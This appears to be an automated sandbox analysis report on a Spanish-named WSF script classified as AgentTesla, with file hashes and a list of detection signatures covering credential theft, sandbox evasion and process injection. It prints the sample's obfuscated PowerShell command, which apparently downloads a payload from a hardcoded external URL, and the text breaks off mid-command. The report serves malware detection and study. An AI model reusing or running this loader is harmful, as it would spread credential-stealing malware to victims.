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Windows
Analysis Report
rdevuelto_Pagos.wsf
Overview
General Information
| Sample name: | rdevuelto_Pagos.wsf |
| Analysis ID: | 1393061 |
| MD5: | 46fa85349bcc37dee6ee99b7f26b1967 |
| SHA1: | 2c829c6281ce8d60e356e0fd05ffec863b37be82 |
| SHA256: | 962a366de507d99c19b1fa5c50ec27175334c7869d6a0344bff945b7d04a229f |
| Tags: | Formbookwsf |
| Infos: |   |
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Detection
AgentTesla
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Powershell download and load assembly
Sigma detected: Powershell download payload from hardcoded c2 list
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
VBScript performs obfuscated calls to suspicious functions
Yara detected AgentTesla
Bypasses PowerShell execution policy
Check if machine is in data center or colocation facility
Connects to a pastebin service (likely for C&C)
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sample uses string decryption to hide its real strings
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 2620 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\rdevu elto_Pagos .wsf" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 6136 cmdline: C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.exe" - command "$ codigo = ' ZgB1DgTreG 4DgTreYwB0 DgTreGkDgT rebwBuDgTr eCDgTreDgT reRDgTreBv DgTreHcDgT rebgBsDgTr eG8DgTreYQ BkDgTreEQD gTreYQB0Dg TreGEDgTre RgByDgTreG 8DgTrebQBM DgTreGkDgT rebgBrDgTr eHMDgTreID gTreB7DgTr eCDgTreDgT recDgTreBh DgTreHIDgT reYQBtDgTr eCDgTreDgT reKDgTreBb DgTreHMDgT redDgTreBy DgTreGkDgT rebgBnDgTr eFsDgTreXQ BdDgTreCQD gTrebDgTre BpDgTreG4D gTreawBzDg TreCkDgTre IDgTreDgTr ekDgTreHcD gTreZQBiDg TreEMDgTre bDgTreBpDg TreGUDgTre bgB0DgTreC DgTreDgTre PQDgTregDg TreE4DgTre ZQB3DgTreC 0DgTreTwBi DgTreGoDgT reZQBjDgTr eHQDgTreID gTreBTDgTr eHkDgTrecw B0DgTreGUD gTrebQDgTr euDgTreE4D gTreZQB0Dg TreC4DgTre VwBlDgTreG IDgTreQwBs DgTreGkDgT reZQBuDgTr eHQDgTreOw DgTregDgTr eCQDgTrecw BoDgTreHUD gTreZgBmDg TreGwDgTre ZQBkDgTreE wDgTreaQBu DgTreGsDgT recwDgTreg DgTreD0DgT reIDgTreBH DgTreGUDgT redDgTreDg TretDgTreF IDgTreYQBu DgTreGQDgT rebwBtDgTr eCDgTreDgT reLQBJDgTr eG4DgTrecD gTreB1DgTr eHQDgTreTw BiDgTreGoD gTreZQBjDg TreHQDgTre IDgTreDgTr ekDgTreGwD gTreaQBuDg TreGsDgTre cwDgTregDg TreC0DgTre QwBvDgTreH UDgTrebgB0 DgTreCDgTr eDgTreJDgT reBsDgTreG kDgTrebgBr DgTreHMDgT reLgBMDgTr eGUDgTrebg BnDgTreHQD gTreaDgTre DgTre7DgTr eCDgTreDgT reZgBvDgTr eHIDgTreZQ BhDgTreGMD gTreaDgTre DgTregDgTr eCgDgTreJD gTreBsDgTr eGkDgTrebg BrDgTreCDg TreDgTreaQ BuDgTreCDg TreDgTreJD gTreBzDgTr eGgDgTredQ BmDgTreGYD gTrebDgTre BlDgTreGQD gTreTDgTre BpDgTreG4D gTreawBzDg TreCkDgTre IDgTreB7Dg TreCDgTreD gTredDgTre ByDgTreHkD gTreIDgTre B7DgTreCDg TreDgTrecg BlDgTreHQD gTredQByDg TreG4DgTre IDgTreDgTr ekDgTreHcD gTreZQBiDg TreEMDgTre bDgTreBpDg TreGUDgTre bgB0DgTreC 4DgTreRDgT reBvDgTreH cDgTrebgBs DgTreG8DgT reYQBkDgTr eEQDgTreYQ B0DgTreGED gTreKDgTre DgTrekDgTr eGwDgTreaQ BuDgTreGsD gTreKQDgTr egDgTreH0D gTreIDgTre BjDgTreGED gTredDgTre BjDgTreGgD gTreIDgTre B7DgTreCDg TreDgTreYw BvDgTreG4D gTredDgTre BpDgTreG4D gTredQBlDg TreCDgTreD gTrefQDgTr egDgTreH0D gTreOwDgTr egDgTreHID gTreZQB0Dg TreHUDgTre cgBuDgTreC DgTreDgTre JDgTreBuDg TreHUDgTre bDgTreBsDg TreCDgTreD gTrefQDgTr e7DgTreCDg TreDgTreJD gTreBsDgTr eGkDgTrebg BrDgTreHMD gTreIDgTre DgTre9DgTr eCDgTreDgT reQDgTreDg TreoDgTreC cDgTreaDgT reB0DgTreH QDgTrecDgT reBzDgTreD oDgTreLwDg TrevDgTreH UDgTrecDgT reBsDgTreG 8DgTreYQBk DgTreGQDgT reZQBpDgTr eG0DgTreYQ BnDgTreGUD gTrebgBzDg TreC4DgTre YwBvDgTreG 0DgTreLgBi DgTreHIDgT reLwBpDgTr eG0DgTreYQ BnDgTreGUD gTrecwDgTr evDgTreDDg TreDgTreMD gTreDgTre0 DgTreC8DgT reNwDgTrez DgTreDkDgT reLwDgTrey DgTreDIDgT reODgTreDg TrevDgTreG 8DgTrecgBp DgTreGcDgT reaQBuDgTr eGEDgTrebD gTreDgTrev DgTreG4DgT reZQB3DgTr eF8DgTreaQ BtDgTreGED gTreZwBlDg TreF8DgTre dwBzDgTreG YDgTreLgBq DgTreHDgTr eDgTreZwDg